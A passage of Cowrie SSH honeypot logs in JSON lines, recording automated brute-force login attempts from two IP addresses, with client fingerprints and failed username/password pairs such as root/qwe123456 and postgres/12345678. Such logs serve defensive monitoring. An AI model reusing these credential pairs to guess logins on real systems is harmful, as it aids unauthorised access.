fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:10.895558Z","src_ip":"159.203.92.129","session":"97f9886ea368","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Wo100%shipj","message":"login attempt [admin/Wo100%shipj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:10.905953Z","src_ip":"159.203.92.129","session":"97f9886ea368","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37090,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd58ec740328","protocol":"ssh","message":"New connection: 192.109.200.78:37090 (10.17.0.5:22) [session: fd58ec740328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:11.604460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:11.609224Z","src_ip":"192.109.200.78","session":"fd58ec740328","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:11.694238Z","src_ip":"192.109.200.78","session":"fd58ec740328","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123456","message":"login attempt [root/qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:11.952957Z","src_ip":"192.109.200.78","session":"fd58ec740328","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:11.961212Z","src_ip":"159.203.92.129","session":"97f9886ea368","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:13.041157Z","src_ip":"192.109.200.78","session":"fd58ec740328","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37092,"dst_ip":"10.17.0.5","dst_port":22,"session":"1804be051b9e","protocol":"ssh","message":"New connection: 192.109.200.78:37092 (10.17.0.5:22) [session: 1804be051b9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:15.812311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:15.817681Z","src_ip":"192.109.200.78","session":"1804be051b9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:16.212234Z","src_ip":"192.109.200.78","session":"1804be051b9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amine","password":"amine","message":"login attempt [amine/amine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:16.466491Z","src_ip":"192.109.200.78","session":"1804be051b9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:17.592232Z","src_ip":"192.109.200.78","session":"1804be051b9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":45622,"dst_ip":"10.17.0.5","dst_port":22,"session":"216e4a6d0062","protocol":"ssh","message":"New connection: 192.109.200.78:45622 (10.17.0.5:22) [session: 216e4a6d0062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:19.861979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:20.010478Z","src_ip":"192.109.200.78","session":"216e4a6d0062","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:20.015391Z","src_ip":"192.109.200.78","session":"216e4a6d0062","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234567","message":"login attempt [user1/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:20.371065Z","src_ip":"192.109.200.78","session":"216e4a6d0062","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:21.456478Z","src_ip":"192.109.200.78","session":"216e4a6d0062","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":45626,"dst_ip":"10.17.0.5","dst_port":22,"session":"5eec0f31df2f","protocol":"ssh","message":"New connection: 192.109.200.78:45626 (10.17.0.5:22) [session: 5eec0f31df2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:24.195775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:24.203835Z","src_ip":"192.109.200.78","session":"5eec0f31df2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:24.287034Z","src_ip":"192.109.200.78","session":"5eec0f31df2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"123456","message":"login attempt [jack/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:24.534080Z","src_ip":"192.109.200.78","session":"5eec0f31df2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:25.618546Z","src_ip":"192.109.200.78","session":"5eec0f31df2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39072,"dst_ip":"10.17.0.5","dst_port":22,"session":"99ba1e13bc68","protocol":"ssh","message":"New connection: 192.109.200.78:39072 (10.17.0.5:22) [session: 99ba1e13bc68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:28.404935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:28.409629Z","src_ip":"192.109.200.78","session":"99ba1e13bc68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:28.497859Z","src_ip":"192.109.200.78","session":"99ba1e13bc68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"12345678","message":"login attempt [postgres/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:28.754354Z","src_ip":"192.109.200.78","session":"99ba1e13bc68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:29.841487Z","src_ip":"192.109.200.78","session":"99ba1e13bc68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39080,"dst_ip":"10.17.0.5","dst_port":22,"session":"f98a78a0674e","protocol":"ssh","message":"New connection: 192.109.200.78:39080 (10.17.0.5:22) [session: f98a78a0674e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:32.435094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:32.440294Z","src_ip":"192.109.200.78","session":"f98a78a0674e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:32.525118Z","src_ip":"192.109.200.78","session":"f98a78a0674e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser","message":"login attempt [esuser/esuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:32.954228Z","src_ip":"192.109.200.78","session":"f98a78a0674e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:34.041261Z","src_ip":"192.109.200.78","session":"f98a78a0674e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39090,"dst_ip":"10.17.0.5","dst_port":22,"session":"c64838da0e48","protocol":"ssh","message":"New connection: 192.109.200.78:39090 (10.17.0.5:22) [session: c64838da0e48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:36.747673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:36.753573Z","src_ip":"192.109.200.78","session":"c64838da0e48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:36.839763Z","src_ip":"192.109.200.78","session":"c64838da0e48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"123456","message":"login attempt [www/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:37.095288Z","src_ip":"192.109.200.78","session":"c64838da0e48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:38.205996Z","src_ip":"192.109.200.78","session":"c64838da0e48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49414,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f8209729d0a","protocol":"ssh","message":"New connection: 192.109.200.78:49414 (10.17.0.5:22) [session: 4f8209729d0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:41.080842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:41.085275Z","src_ip":"192.109.200.78","session":"4f8209729d0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:41.166829Z","src_ip":"192.109.200.78","session":"4f8209729d0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hive","password":"hive","message":"login attempt [hive/hive] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:41.420262Z","src_ip":"192.109.200.78","session":"4f8209729d0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:42.504804Z","src_ip":"192.109.200.78","session":"4f8209729d0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49420,"dst_ip":"10.17.0.5","dst_port":22,"session":"b33578acdcae","protocol":"ssh","message":"New connection: 192.109.200.78:49420 (10.17.0.5:22) [session: b33578acdcae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:45.266118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:37:45.271060Z","src_ip":"192.109.200.78","session":"b33578acdcae","protocol":"ssh"}
